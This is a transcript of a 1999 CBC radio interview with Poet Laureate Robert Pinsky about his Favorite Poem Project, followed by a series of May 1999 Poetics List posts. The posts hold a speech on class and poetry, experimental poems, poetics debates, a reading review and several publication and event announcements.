Interview with Robert Pinsky on "As It Happens," CBC Radio, 13 May 1999.

In Spring, everyone's fancy turns to thoughts of love, and that usually sets the poetry gene in motion. And poetry, we're told, is making a big comeback. Did you ever consider how many bits of verse you have in your mental, slim volume? Most of us have a little Joyce Kilmer rapturizing on trees, some Romantics, some Browning's "How do I love thee"; kids for sure love Dr. Seuss. But we're going to hear from an expert. These days, the person who knows more about the collective poetic consciousness than anyone is Robert Pinsky. Robert Pinsky is the American Poet Laureate. He's using the occasion of the 200th anniversary of the Library of Congress to assemble a collection of people's favorite poems. And so far, he has ten thousand. Robert Pinsky is in Boston.

Q: Mr. Pinsky, what so far is the United States' favorite poem?

A: As I remember, the number one poem so far is "Stopping By Woods on a Snowy Evening" by Robert Frost.

Q: Robert Frost. Could that be the only poem many Americans have read? It's very famous, isn't it?

A: I think it's probably the first one people recall, and it is an awfully good one. I remember at the reading at the White House where the President and Mrs. Clinton read, there was also a disabled war veteran who read, and he read from a wheelchair, and he didn't have to say anything about the poem; he read it and when he got to the end he said "And I have miles to go before I sleep / And I have miles to go before I sleep," and the determination and emphasis in his voice was a comment on how much he intended to do, how much he had to do, and that the wheelchair was not going to hold him back.

Q: Yeah. Now who are you hearing from in this project?

A: We have letters from every state in the Union, the Virgin Islands and Puerto Rico, we have a very wide range of professions, some of them are listed on the website at "favoritepoem.org", we have a circus acrobat, a beer vendor in the ballpark, a ditch- digger and a welder, and lots of M.D.s, quite a few teachers and librarians, and people from, I'm not sure what the youngest person is, probably around seven, and we certainly... in Seattle I remeber we had a hundred-and-one-year old woman read at the favorite poem event in Seattle.

Q: In other words, everybody.

A: Everybody's a good answer. Wish I'd thought of that.

Q: No, I like the detail better. This must be very heartening to a Poet Laureate?

A: These letters and the events have been immensely encouraging, and I can say emphatically and sincerely that they have refreshed my belief in the appeal of poetry.

Q: Were you surprised at all that so many people not only remembered poems and loved poems but were eager to tell you about them?

A: I would say that every day there's a surprise. And I'm not surprised that the art is appealing. I have after all given my life to it. But the forms that it takes, the range, how funny and moving some of the letters are, it's as surprising as life.

Q: But people do not go around declaiming poems very much. It almost as though they're embarrassed to admit they read poetry.

A: Well, the United States is a very various society, it's a very ecclectic and syncretic culture, and we don't have the kind of firm institutional place for some of these arts that Bedouins or Bengalis might have, and we've admired their cultures for what they have and we can admire this one for its variety, and there actually are situations it turns out in which Americans do read poems to one another or recite them. I have more than one letter from people saying

that on a date two people discovered they had the same poem by heart and fell in love at the moment of discovering they knew the same poem.

Q: Well I guess there is that brief romantic interlude in your youth when poetry is really important...

A: I think that on the occasions of weddings, funerals, other important landmark events, people do turn to poems too.

Q: And I'm told there's something called "slamming" going on that has to do with poetry, is that right?

A: Yeah.

Q: What is that?

A: It's a name that they give to times when people recite poems and have judges evaluate the quality of the performance and the writing. And they're kind of popular events I understand.

Q: Now tell me about the other favorite poems. What other ones have come near the top of the list?

A: It's very heartening to see the range of tastes, and it's heartening to me to put together with my project director Maggie Dietz the favorite poem anthology and find that it's not hard at all to have a wide choice of letters about classic American poetry by Langston Hughes, Walt Whitman, Emily Dickinson, Wallace Stevens, and lots of letters from people who have a favorite Shakespeare poem for example.

Q: I was going to say, are they all American?

A: No, and they're not all in English either. We've had some quite beautiful poems in Persian, Native American languages, Yiddish, Italian, Portuguese and Chinese. There are Americans who love poems in many different languages.

Q: Any nice doggerel?

A: You know, almost every time I've been interviewed by anybody in broadcast, the people from Nantucket come up, and "There was an old man from Nantucket" is a question I'm often asked about. I don't know the whole database all the way through; I hope some people have Edward Lear, and I know there's some Lewis Carroll in there, and the great tradition of nonsense writing, and also the tradition of popular poetry. There are plenty of people who nominated Thayers' "Casey at the Bat," which is a very effective piece of writing.

Q: Oh right. And songs... when you said "popular poetry" I was reminded that some people would take a lot of song lyrics and would put that under poetry.

A: The test is whether it sounds good when anybody at all reads it aloud, not singing it, and not plugging [plucking?] it like an actor or a poet who's a veteran of the poetry-reading circuit. The test is does it sound good when you just say it.

Q: Yeah, poetry has to be read aloud, doesn't it?

A: The distinction I make is that it is a vocal art, not necessarily a performative art. What's special about poetry for me is its medium is the human body, but not an expert's body. It's the body of the audience's reader [audience as reader?]. You say an Emily Dickinson poem or a Wordsworth or a Paul Laurence Dunbar to yourself or to one or two friends, your body, your voice is that artist's medium.

Q: Do most of the poems that are submitted rhyme?

A: I haven't counted, partly because, as far as I'm concerned, all poems rhyme. That is, rhyme is a degree of likeness in sound, and so-called "free verse" poems always involve likeness and unlikeness in sound. So I don't make a hard distinction between poems that rhyme and poems that don't rhyme myself. I know what you mean and I haven't counted.

Q: Yeah. Tell me a little bit more about the letters as you read them. I mean, do you find yourself surprised to discover what is a welder's favorite poem?

A: I believe the ditch-digger had Shakespeare and I think the welder was a Japanese poem...

Q: Well, there you go...

A: But imagine reading a letter from somebody saying, "This is a poem that my mother asked my to say to her as she was dying," or a letter that says "This poem makes me think of the no-good bastard that I married..." Or, uh,...

Q: Which one was that? Not, which no good..., you know, but which poem?

A: "Eros Tyrannos," by Edwin Arlington Robinson...

Q: I don't know that...

A: ... one of my personal favorite poems... Oh, it's a great great poem.

Q: Oh yeah? OK, we'll look that up. Any other lovely stories, examples?

A: I could pick up a fistful of them if they were in front of me and read you intersting letters. On the website you hear from Bridget Sterns from Alaska who talks about the Alaska winters and how often people get depressed in those winters. And she says in her very bright, alive voice that one winter it was her turn. You can hardly picture this voice being depressed, but she said she was, and then she reads Stevie Smith's poem "Not Waving But Drowning" and talks

about how the irreverance and sort of baudiness of the poem helped penetrate the fog between her and other people when she read it to them. It's on the website, and right on that same--it's the part called "The Story"--you can hear Rudolph Awkson [?] who's a retired parole officer from Baltimore, and he talks about a Langston Hughes poem that he used to read to his clients, and one day a young man recited to him from memory.

Q: Do you have a favorite poem?

A: No. I don't encourage people to have a single favorite poem...

Q: It's hard to pick one... sure, impossible...

A: ... point is, *a* favorite poem... Sure, I mean, I have about two or three hundred favorite poems. And I encourage people who write to us to write more than once.

Q: Oh, they're allowed to do that are they... They don't have to pick just one?

A: Oh, of course... And mine would include "Sailing to Byzantium," "Ode to a Nightingale," I mentioned "Eros Tyrannos," Hardy's "The Darkling Thrush," Dickinson's "It Was Not Death" or "Further in Summer than the Birds"... There are lots.

Q: What are you going to do with all of this?

A: The website, I hope, will get bigger and bigger...

Q: The website's just going to stay up?

A: I hope it will stay up forever and get more and more people reading more and more poems on it.

Q: OK.

A: On April 3rd and 4th of the year 2000 there will be a conference at the Library of Congress in which we'll show the first fifty videos, and scholars and poets and critics can talk about the topic which is "Poetry and the American People," and we'll have people there who studied literacy, studied book-buying patterns over the decades. And I hope another product of the project will be educational materials, videocassettes or tapes where the teacher, instead of showing the kids a professor talking about a poem or an actor reading it, kids can see somebody who runs a store, or a homeless person, or an M.D., or another kid reading the poem aloud and describing the personal, individual importance of the poem.

Q: The videos that you're going to be showing are videos you're making?

A: Yes. That's the point of the project is to create 200 videos and another 800 or so audios of a variety of people reading a variety of poems and saying why they like them.

Q: I've long thought there should be a poetry show on radio, don't you think so?

A: I think that poetry is a natural for radio.

Q: Because the voice is so important...?

A: Yeah. It's a vocal medium and it doesn't take a long time, it's very compressed. I've been reading poems on the PBS Newshour with Jim Lehrer, and the response to that has been kind of good.

Q: Do you want to read one now?

A: Well, sure. What length poem are you interested in?

Q: Well, short-ish, you know?

A: Shortish. OK,...

Q: One of my favorites is only five short lines long, see if you can beat that...

A: Well, I know a good one with two lines long: "On love, on love, on grief, on every human thing, time sprinkles Lethe's [?] water with his wing." That's by Walter Savage Landor. Here's "Love Song" by William Carlos Williams. [Reads.]

Q: Mmm. Good choices. Are Canadians allowed to write to you?

A: Canadians are allowed to write to me. I'm not sure how many of them we'll be able to get into the archive, but we're not discriminating against Canadians.

Q: OK. It's been lovely to talk to you. Thank you so much.

A: Very nice talking to you, my pleasure.

Q: Bye bye, Mr. Pinsky.

A: Bye.

Robert Pinsky is the American Poet Laureate and he spoke to us from Boston. Mr. Pinsky's favorite poem is displayed along with many others on a website. You can reach it via the internet at: www.favoritepoem.org. That's "favoritepoem," one word -- and remember it's the American spelling of "favorite" without a "u." One of the most popular poems people submitted was Willima Carlos Williams' little verse entitled "This is just to say," and lucky me, I get to read it. [Reads.]

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162. **Kevin Magee**

Re: Poetry 101, crude binaries, & the standard of Beauty (gasp?)

Fri 14 May 1999

To the List:

Going through old papers I came across this document which I don't remember or not whether it was circulated around SF at the time, but thought it might be a useful contribution to the question of social class and how it intersects with contemporary poetries re recent discussions of the same. Though this speech was given to an audience of mostly political activists who work in the industrial unions, I remember at least that Bev Dahlen and Jalal Toufic were in the audience.

[Militant Labor Forum] [SF / late spring 1995]:

I was in Vancouver last weekend among a hundred others or more to celebrate the 70th Birthday of one of this century's great poets. On the first night, making a few introductory remarks, one of the conference organizers drew attention to a misprint in the banner that hung on the podium: THE RECOVERY OF THE PUBLIC WORLD, a conference and poetry festival in honor of Robin Blaser, his poetry and--instead of poetics, what it was suppose to say--there was the word: politics. As it turned out, after hearing Robin talk, the mistake was more an emendation, so under the sign of that printer's substitution of the word politics for poetics, I'd like to pay attention to the phrase "class politics" which appears on the flyer for tonight's forum. Robin Blaser's opening night address to the festival in Vancouver gave to the event a crucial historical dimension. I heard something in his speech that I didn't hear either at the New Freedoms Conference in New Jersey in 1994 or at the New Coast Conference at Buffalo, New York in 1993. Against the backdrop of remembering the Jewish philosopher Hannah Arendt and her personal experience of the Holocaust, and with distinct and direct reference to our own contemporary moment increasingly dominated by news of regional wars, what Milton Chee in his talk here on Chechnya a short while back called "bleeding wars," Robin--like Milton--spoke of the very real possibility of a third world war. The other thing that I heard for the first time was the expression, "literary communism," which Robin said he was taking from an essay by that name by the French philosopher, Jean-Luc Nancy. That we are writing and making art under the approaching threat of an ocean of blood that would bear the unbearable name of World War III, and that there are philosophers in the West who even in their monastic seclusion from situations of real destruction are arriving in their speculations towards a name that has been fought over for a century and a half now, a duration that is nothing less than a measure of our modernity, the historical period which begins with industrialization of Europe and out of which

irrupts the Communist Manifesto--that fundamental, inaugural document which begins with a struggle for definition, the need to come out with what the name, communism, really means, and put the lie to the nursery tale of the chamber of horrors which it is NOT--this was the starting point for Marx and Engels in their declaration of class war, and it's wonderful to see the word used in a philosopher's essay, and hear it quoted at a conference attended by poets and scholars. Communism is more than a name, it's always more than a name, and yet it is AS a name that Lenin is talking about it when he starts a sentence with the admonition: "Communism will become an empty word, a mere signboard, if--[.]" I heard Mary Lou Montauk, in her recent talk here on the Irish Question, quoting Lenin, say: "in volume 39 I found a gem." My quote, my gem, is from a speech delivered at the Third All-Russia Congress of the Russian Young Communist League, October 2, 1920, reprinted in a volume called Lenin: On Literature and Art. This fragment of a sentence from Lenin entered my notebook as an instance where one of this century's great revolutionaries was marking the danger of words being emptied of their meaning. As far as I'm aware, none of the panelists at the Vancouver conference returned either to Robin's shadowing in the threat of a third world war nor his bringing in the phrase, "literary communism." What I did hear from the many participants was a compulsive repetition of the word "community," which word got debunked on the last day of the conference by Kevin Killian in his exposé of the rotten social and cultural conditions behind Robin Blaser's relocation from San Francisco to Vancouver in 1965. In that year, in Killian's words, Robin was "excreted" north, his friend Jack Spicer (one of the few poets from the United States proletariat to make it anywhere near creative maturity) was dead of alcoholism at the age of 40, and their mutual friend and mentor Robert Duncan went on to carry the mantle of Monarch of the Clouds. We are in a system that runs on human waste, and poets are not excluded from this system, are in fact too often casualties of an insidious extermination process called Private Competition, and it spells the death or mangling of way too many of us. The catastrophe of the Prevented Poet belongs to the history of a class-divided culture. There was an art work at Vancouver in the museum across the street from where the conference was held, a bust of Jack Spicer, and its sculptor's strange name was: Anonymous. Kevin Killian or Scott Watson--I can't remember which--told me Robin simply couldn't remember who she was. Maybe it was she who Robin was thinking at that moment in his talk the first night when he said he could not name them all, "there were so many," that group of writers called the Blaser/Duncan/Spicer circle, a sphere of mutual influence and inspiration which suffered such severe contractions, and expulsions. The "dream of a perfect exteriority" is an expression of the Italian philospher, Giorgio Agamben, another thinker contributing to Robin's talk. Agambem writes this in an essay called "Without Class" which sketches an almost gothic image of the world's true

Frankenstein, a social body Marx identified as 'the Mountain' in 1848, a global petit-bourgoisie bent on its own self-destruction and bent as well on taking with it the Proletariat whose existence it symptomatically continues to deny and whose leadership it has historically refused to recognize. Marx tells an early version of this story in the Eighteenth Brumaire as part of an analysis of events which turn in a tightening cycle of reaction and right-wing terror. On an ending note and to counterpose to Agamben's own horror picture of a world "without class," I'd like to read a short passage from a poem I wrote using words I heard Pat Grogan use at another Militant Labor Forum in 1988, in Des Moines, Iowa. I think she is talking here, like Agamben, about both a politics and a poetics of "perfect exteriority":

The standard of Beauty
a terrific suffering

Have you ever seen a picture of a picket-line?

South Africans, strikers, their fists in the air
the surrounding spatial environment
their outward extension into space
a real contribution to consciousness
try to distinguish an individual face
impossible. Women do not devalue human life
they assert the value of their own life
and that is a radical statement in this
society

anarchy
the fact
of being
female

children
everything
we have
to give

I don't write to educate my class. The working class teaches me and inspires me with every strike, every picket line, every sign raised in open protest. I'd like to believe at least that with every page I write I'm trying to express a version of the experience and aspirations of my class, the "World Proletariat," to use words Mark Curtis wrote to me in a letter from prison many years ago, and these aspirations, these hopes and dreams, these IMAGINATIONS, are not individual and have everything to do with the desire to be free of all forms of private property. Each according to their ability, each according to their needs,

each according to their desiring who are called to the names and acts of naming which, for the sake of convenience only, I call the Art of Poetry.

Note 1: Remembering the Vancouver conference today I would only add to the foregoing the following (constructive) criticism:

It was a charity of consumption only, as Rosa Luxemburg pointed out, "In this version of charity--of loving relations expressed as a community of consumption, with the Christian board and breaking of bread as its natural images, and the feast as its social consummation, prolonged into periods and societies in which it became peripheral or even damaging--when a charity of production--of loving relations between women and men actually working and producing that which is in whatever proportions to be shared--was neglected or suppressed by an uncritical reference to a charity of consumption, an eating and drinking communion, which when observed by an ordinary working person was inevitably a mystification.

Note 2: On the subject of the crude binary distinction between petit-bougeoisie and working class, the most telling sentence for me in Trotsky's History of the Russian Revolution is: "Stalin communicated the motion by telephone." There is a world of concerns in this on the subject of social class, open and closed forms of communication, etc., though I don't quote LT's History uncritically, because he deletes Inessa Armand entirely (she doesn't even exist in a footnote) who was head of the women's section of the CCCP at the time of her death in 1920 and whose funeral was attended by representatives of feminist organizations around the world and--by two eyewitness accounts--a stumbling, mute, shattered Lenin, suffering, perhaps, the first seizure in a series of strokes that would claim his life shortly after.

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163. Alan Sondheim
where and how they lived
Fri 14 May 1999

)o(

where and how they lived

Heidegger's Black Forest hut or home, where the wall felt its way down
into the earth
Brecht's apartment where the ceiling exposed itself as someone's floor
Mayakovsky's yurt in high wind, designs shivering like flags
Bachelard's stone walls leading to more stones and still more stones
Derrida's thin tent where you can see the thin bows strung across skins
and more skins and still more skins

earth and skins and bones
flags and floors and skins
bones and earth and floors
skins and flags and earth
Bachelard swept Heidegger's hut and you should see the shine
Mayakovsky waxed Brecht's floor to a subtle sheen
Derrida and Mayakovsky traded secrets of the wind
flags of the wind
sheen of the skins
there's more of the bone's shine
more of the bones

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164. P.Standard Schaefer

Re: Poetry: telic or not

Fri 14 May 1999

In a message dated 5/14/99 9:11:38 AM Pacific Daylight Time, [redacted] writes:

<< S. Schaefer problematizes the continuity between radical poetic theory and practice. This aspect of his argument seems persuasive, particularly in the context of Prunty's post, as no poem seems likely to come close to approaching the extremity of the aesthetic experience Lakoff describes. Schaefer on the other hand does not seem to sufficiently problematize poetry's relationship to tradition & with his attacks on the LangPos a certain amount of generational anxiety is clearly evident. But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is the possibility of poetry today?" >>

What Schaefer was trying to do had very little to do with history/tradition since Schaefer believes the very ideas are in question largely because of the co-opting of the arts by institutions. Schaefer prefers to leave that particular work to the writers of dissertations, who will surely in the process create a new history and new tradition. However, the issue of the relation between "radical" poetry practice and the "radical" theoretical apparatuses (often very clumsy ones at that) is a big concern. What I was trying to contend in my essay is that "radical artfice" and "indeterminacy" often coincide with a poetic practice that looks an awful lot like a struggle between academics and their discursive efforts to control the determination of good poetry. In concrete terms, this means that we who believe that radical politics is at least possible cannot mistake the act of simply writing vague, fragmented, ambiguous etc poems with the changing of

the business of poetry. The business of poetry is all the various devices, contraptions which do the actually judging of poetry and that lead to a belief that the only important writers are those who are being written on (cf. the writers of dissertations). What I commend Jeff Clark for in my essay applies to Garrett Caples, Martin Corless Smith, Cathy Wagner, Tracy Grinnel, Emily Grossman, Brian Lucas and other "non-allied" poets.

I commend these poets' refusal to use theory as a way of justifying their own work as either socially relevant or "radical" or even "progressive" or even necessary. I also commend them for not falling into the (fake) hermeticism of the mainstream.

A refusal to play poetry for tenure, promotion, etc may be the most politically effective gesture yet because as along as poetry resembles business, some way to join the firm or succeed in school, we cannot have "radical" poetries. I commend their humility and I believe that it will go along way farther to counteracting the self-aggrandizing, self-promotional carreerist tendencies that have arrisen out of an american poetic- theoretical nexus associated with "collapsed subjectivity". The decentered poem does nothing, but when it is consecrated by a host of Hank Lazers, Marjorie Perloffs, and so forth a very real subjectivitiy is made: the celebrity poet.

Don't get me wrong: for instance, I wouldn't against magazines atempting to get distribution by creating a board of influencial politocs and poetrists. In fact, I might even recommend it. It seems efficacious. I just don't think such practices can be called radical. Nor do I believe that poets should not be theoretical. I just don't believe they should use the business of theory to create reputations, distinctions or brand names. I would hope the theory would lead to more interesting poetry, more diverse poetic techniques.

Incidentally, while I was at Page Mothers, I thought that this was sort of what Marjorie Perloff was saying: there is a lot of mediocry langauge poetry, but very little being said by langauge poets about what neccessitates their particular techniques. I believe she meant that they should stop patting each other on the back and maybe even tussle. (Now, how they do this without resorting to discursive acts like the "literary essay" I don't know, but I'm pretty sure that Perloff would not be as hessitant as I am about such tactics). One of the most important points Perloff makes in POETICS OF INDETERIMINACY is, if I recall, in the chapter on Stein where she discusses the difference between indeterminacy and ambiguity. There her formalism is at its finest: she shows in detail what made Stein great and what her imitators were not too clear about.

One last point, slightly off topic point, there's an essay in VIEWS FROM WEAVING MOUNTAIN by Nathaniel Tarn (an out of fashion radical with a long list of distinctive poetic/political/academic accomplishments) wherein he

"theorizes" (might just say "avers") that writers do not have to write from a fragmented self to avoid the dangers of the ego. The dangers of a strong ego are relatively slim: the ego is but one tiny portion of the self, for example, and is easily counteracted by a number of forces like television, film, pop music not the least of which is history. It is in an interesting time to consider whether or not a writer should possess a strong ego and whether or not the language school's post-humanism was every anything but the proliferation of the ego by new means, in new modes.

The final sentence of my much maligned essay states that it is time to change the terms of the debate. I would go so far to wonder whether or not it should be a debate at all.

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165. Erika Stephens
Excessively Disruptive Telos
Fri 14 May 1999

I think Jacques' comment (reproduced below) is interesting and valuble. However he does largely misconstrue what Prunty and Lakoff are refering to. He has picked up and rather magnified the word "disrupt." Best thing is to look at the context of the quote: the work of Arakawa and Gins is not wild antinomian crash bam boom. It is highly "classical" in many respects. The type of disruption Lakoff was refering to in their work is not brusque, threatening or transgressive; it is meditative disruption, if you will. And i think that that informs some of what Randy means by putting the quote forward.

As for Standard Schaefer's essay, of course jacques is right to suggest that generational anxiety is largely behind its strictures (or rather, generational and individual); intemperate and non-substantive fuming at "Marjorie Perloff and her cronies" is pretty funny, but is definitely *not* a reasoned comment on the poetry of the last 3 decades.... But SS's strikingly eliotic call for "parameters of esthetic judgment" is something else again... Presented as it is in Rhizome, without examples or context, it seems a deliberately arch-conservative move. What parameters does Jacques agree we must adhere to?? Spell 'em out, pardner! Your (JD's) own work, tho i haven't seen it for some months, has certainly been powered by a gnomic determination to launch fresh forms, with intertexual and deep-textual and graphic elements of great originality. If not disruptive, it is at least a touch unruly. But if there are rules for the unruly, it would be interesting to hear 'em.

In the last few days i've been looking at Bruce Andrews' Ex Why Zee, which i highly recommend. It is a collection of fugative performance pieces, collaborations, worked-thru texts, etc. I would present it as good example of

the best writing of our period... Antinomian, i guess you'd say..But with a higher (and different) energy-level, on the surface, than Bromige. (Tho i think *he* deserves the appellation, which i look on as a compliment, as well..)

Blake brought something back from hell, something about roads & palaces, excess & wisdom...

excessively,
mark prejsnar
@lanta

> *In a message dated 5/13/99 11:10:03 AM, [redacted], quoting George Lakoff, writes:*
>
> *<<"The increasing violence and destruction in the world - physical, ecological, economic, social, and emotional - are all a product of our present modes of thought. If the cruelty is to end, our concepts must change. Since concepts are physically encoded in the brain and grounded in the body, our brains and bodies must change. If art is to play a role for the good, it must disrupt our concepts, our normal ways of functioning - our brains and our bodies. Art as disruption is art as a moral force. Disruption is an aesthetic experience, and an aesthetic experience of this kind is inherently moral. Moreover, disruptive art on a large-enough scale will be sufficient to reverse our destiny, so that the violence and destruction can end.">>*
>
> *This is extremely interesting. But one of the difficulties here, in respect of poetry, seems to me precisely one of "sufficiency of scale." Nor is disruption something diametrically opposed to violence & destruction obviously -- the problem it seems to me is rather that, at a time when the history of art is *arguably* over, & the most extreme aesthetic violence -- Artaud's say -- is merely a "style" that one cannot avoid "quoting" (the problem for example -- despite it's brilliance -- with Novarina's work) can art really be said to have retained a capacity for disruption? In the essay that precipitated J. Lowther's & R. Prunty's posts to the List, S. Schaefer problematizes the continuity between radical poetic theory and practice. This aspect of his argument seems persuasive, particularly in the context of Prunty's post, as no poem seems likely to come close to approaching the extremity of the aesthetic experience Lakoff describes. Schaefer on the other hand does not seem to sufficiently problematize poetry's relationship to tradition & with his attacks on the LangPos a certain amount of generational anxiety is clearly evident. But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is the possibility of poetry today?" since it is not, I don't think, the sort of Antinomian practice that, for instance, David Bromige seems to imply it is.*

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166. hofermr
sf reading saturday may 15
Fri 14 May 1999

For those of you within shouting range of San Francisco:

Jenna Roper Harmon & Jen Hofer & Jamen Howe will be reading

saturday
may 15
6:30 p.m.
new college of california cultural center
766 valencia street
the event is free

accompanied by a debutante celebration for two new a+bend chapbooks:

SAYING NO. 3
by Jenna Roper Harmon

&

as far as
by Jen Hofer

to order chapbooks write the editor:
Jill Stengel
a+bend press
3862 21st street
San Francisco CA 94114
or
[redacted]

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167. Chris Stroffolino
MOXLEY ADDRESS....
Sat 15 May 1999

Does anybody have Jennifer Moxley's current address?
Anybody know if they're still (in motion) in Paris?

Please send it me, I must send her something she blurbed,
and should do it soon,.....

By the way, her new little chapbook is out, and great...

thanks in advance, chris stroffolino

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168. ken|n|ing
Kenning #4 now available
Sat 15 May 1999

Attention attention:

Kenning #4 (Spring 99 issue), Vol. 1, No. 2

Poetry:
Elizabeth Treadwell
Louis Cabri
Chelsey Minnis
Leslie Scalapino
Mark Prejsnar
Bill Luoma
Sheila Murphy
Patrick Pritchett
Mac Wellman
Lisa Samuels
Kathy Lou Schultz
Anselm Berrigan
Bill Freind
Eileen Myles
Poetics:
Dale Smith (on Metcalf)
Reviews:
Rachel Blau DuPlessis by Patrick F. Durgin
Joan Retallack by Katherine Lederer

$5.00 sample copy
$9.50 two-issue subscription
(checks payable to Patrick F. Durgin)

Contact information below... Patrick

k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing _____http://www.avalon.net/~kenning 418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

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169. Gregory Severance
Jullich poetry on the web
Sun 16 May 1999

http://www.walrus.com/~morocco/coco/jeffrey.html

Newly available on the web (url above):
eleven poems by JEFFREY JULLICH

These poems were previously published in various print
journals during the period 1977-89. Jullich is the author
of the April '99 Poetics List posting: "D=E=E=N".

syllable completes tWell, all the votes seem to be in (what it mean?), and
the the Hejinian semi-word deen or what does n, 1 for deem, and 1ally is: 3
for Aberdeen, 1 for muhajidee [cut-up of the opening of "D=E=E=N"]

These poems are presented in the E-anthology: ~Co-Conspirators~.
Gregory Severance, editor
http://www.walrus.com/~morocco/coco/

& GS = [redacted] &
& GS = http://www.walrus.com/~morocco/ &

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170. **Alan Sondheim**

Neurotic Fragment

Sun 16 May 1999

,,,

Neurotic Fragment

I love Holderlin.
Perhaps you could oh please tell me more and more about some neurotic
experiences you have had with Holderlin.
Obtuse. Nothing to report on. Misery and exhileration.
What makes you yearn and cry that you love her all your heart?
Oh she is me to be me and free see.
Why must you respond so briefly?
Fuck you!
Please, you do so turn me on, continue!
Fuck you fuck you!
Would you please clothe yourself in these unwholesome thoughts.
Oh yes fuck you!
Why don't you oh please do finger yourself.
Oh I'm fingering myself!
What makes you believe you are fingering yourself?
Fuck you!
Do so come on to me and we will be not neurotic.
We are neurotic! Live with it!

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171. Elizabeth Treadwell
New from Double Lucy Books
Sun 16 May 1999

Double Lucy Books proudly announces the publication of the first in our 1999-2000 prose series,

LOVE SENTENCE
a novella by
LYNNE TILLMAN

excerpt at http://users.lanminds.com/dblelucy/page30.html

Lynne Tillman lives in New York City. Her latest novel, _No Lease on Life_, was nominated for a 1998 National Book Critics Circle Award in fiction. Her next book is _Bookstore: The Life and Times of Jeannette Watson and Books & Co._ to be published October 1999 by Harcourt Brace.

Love Sentence, Lynne Tillman, Double Lucy Books, 1999
$6, ppd, from the address below (checks to E. Treadwell)

****

DOUBLE LUCY:

1997-98 poetry series:

Home of Grammar, Sarah Anne Cox
The Marriage of the Well Built Head, Yedda Morrison
Eve Doe (becoming an epic poem), Elizabeth Treadwell

1999-2000 prose series:

Love Sentence, Lynne Tillman
Lucy House: an anthology of prose, Ed. Carol & Elizabeth Treadwell

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

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172. **Harold Teichman**

Silk Peirce or sow's ear? Howe now, Fourcade?

Sun 16 May 1999

We heard Dominique Fourcade and Susan Howe read last night at Dia, in the big hall currently flanked by Warhol'd walls across the street from the museum, a reading I had been looking forward to for some time. The venue is not bad, but barely enough chairs had been provided for the impressive crowd, and there was no ventilation in the stuffy hall.

Fourcade was nicely introduced by Charles Bernstein (who also read the English versions of his work), and we learned that this was his first-ever US reading, giving it a special air. His quiet, pleasant voice was amplified, but not quite enough to prevent my straining to hear, even in the second row. He read the first 8 poems in 'Rose declic' and then some newer material, going on for at least 45 minutes, I would say. His work often reminds me of Apollinaire, the beginning of 'Rose declic' being a little like 'Zone', not surprising in view of the fact that he has curated Matisse exhibitions. His spoken phrases were often delivered in a hushed sub-chant, almost ecclesiastical, reminding me of the gospel readings in an early-60s recording I have of German Benedictines chanting a Latin mass. Bernstein's tone, cadence and emphasis were very different in his readings of the translations, of course. This raises the question for me once again whether the reader of translations ought ideally to try to ape the speech-rhythms of the author, if she knows them--I don't have an answer to this. A very satisfying reading, maybe just a bit over-long.

Over-long doesn't begin to describe Susan Howe's reading, quite disappointing to me, since I admire parts of 'The Europe of Trusts' and 'The Nonconformist's Memorial' very much, and I was keen to hear her. I knew from her Talisman interview and from some of her poetic texts that she has an H. P. Lovecraft-like literary-antiquarian 19th-C. bent that is to me the least interesting side of her poetics. That was the bent we got. She read what sounded like a big chunk from her new book, 'Peirce's Arrow', illustrated with slides. The slides were not there to serve her usual typographically complex texts, but were exclusively devoted to photos of C. S. Peirce (pronounced Purse, I must remind myself; why not Pears or Ponce?), his house, third wife, and many late notebook manuscript scribblings, which he produced in some inhuman volume. This wasn't a poetry reading for the most part; it was more like an intellectually juiced-up and lightly postmodernized A&E Biography show. Howe appears to be totally bonkers over this odd logician, but she didn't say a word about the philosophical content of his work, except for a few mentions of the word 'existential', which I assume was meant in the logical sense of 'existential quantification' and not Heidegger's 'existentiell'. The notebook pages contain cartoonish sketches of human heads, mostly male, obscure logical diagrams in his own notations that

never caught on, apparently sometimes concerned with modal logic (that is, the logic of possibility and necessity), numerical patterns and calculations, and many pages of *binary arithmetic*--didn't the old coot have anything better to do with his time than practicing adding 1s and 0s? About 5 or 10 minutes into the reading I began to suspect that there was a lot of loose change rattling around in this Purse. Now if you want real philosophical poetry (and I do, for one), you can get it from Jacques Roubaud or Joan Retallack, for example, but it was missing here. (Roubaud has masterfully used those very notions of modern modal logic perhaps hinted at in Peirce's work in 'Quelque chose noir' and 'La pluralite des mondes de Lewis' to create an entirely unique poetry.) Howe's biographical prose (how much pastiche?) was spunky but also dry and unremarkable. She bravely tried to fit it into about 40 minutes, but it seemed to go on forever. I fervently hope she devotes her next New York reading to her poetry.

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173. MAYHEW
demagoguery of tea
Mon 17 May 1999

I recently started a company called the Demagoguery of Tea. The point is to market various herbal, black, and greeen teas to a fairly upscale public by associating each variety of tea with a particular desire, fear, or state of mind. So far I have "Tea of Indolent Self-Satisfaction," "Passive-Agressive Librarian Tea," "Tea of Frantic Self-Improvement," "Tea of Ruthless Career Advancement," and "Tea of Mediocrity." Unfortunately my "Tea of Cynicism" and "Tea of Quiet Desperation" are not selling too well.

Jonathan Mayhew
[redacted]

_____

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174. Miriam Nichols
Call for new writing/West Coast Line
Mon 17 May 1999

Dear List members, Since this message went out the first time under a "returned" subject heading, I'd like to run it again. Please consider us for new writing. Miriam Nichols
>
>Hi!
>As some of you might know, Roy Miki, editor of West Coast Line, has decided

to step down after running the journal and its predecessor, Line, for 17 years. Our managing editor as well is moving to Ontario at the end of April, so we are in the process of a changeover. I have been asked to take on the job of editor and our new ME will be Jennifer Conroy. We are looking for submissions for the fall issue, and for our special millenial issue in spring 2000. The address for the journal will remain the same. I will take email inquiries at home, on the above address until mid-May, when Jennifer should be set up in our SFU office with her own email account. I will post that email address when we've got one for her. Here are the calls. Miriam Nichols
>
>
>1. For Fall 1999, new writing or visual art reproducible in black and white for an issue featuring a section on work from the Women and Texts conference at Leeds in 1997. The section from W&T includes essays on hybridity and nomadism from a feminist point of view. However, we're not trying for tight thematic unity, nor is it necessary that all contributors be women in this issue.
>
>2. For Spring 2000, a more formal "call":
>
>ReZonings: an issue for the millenium
>
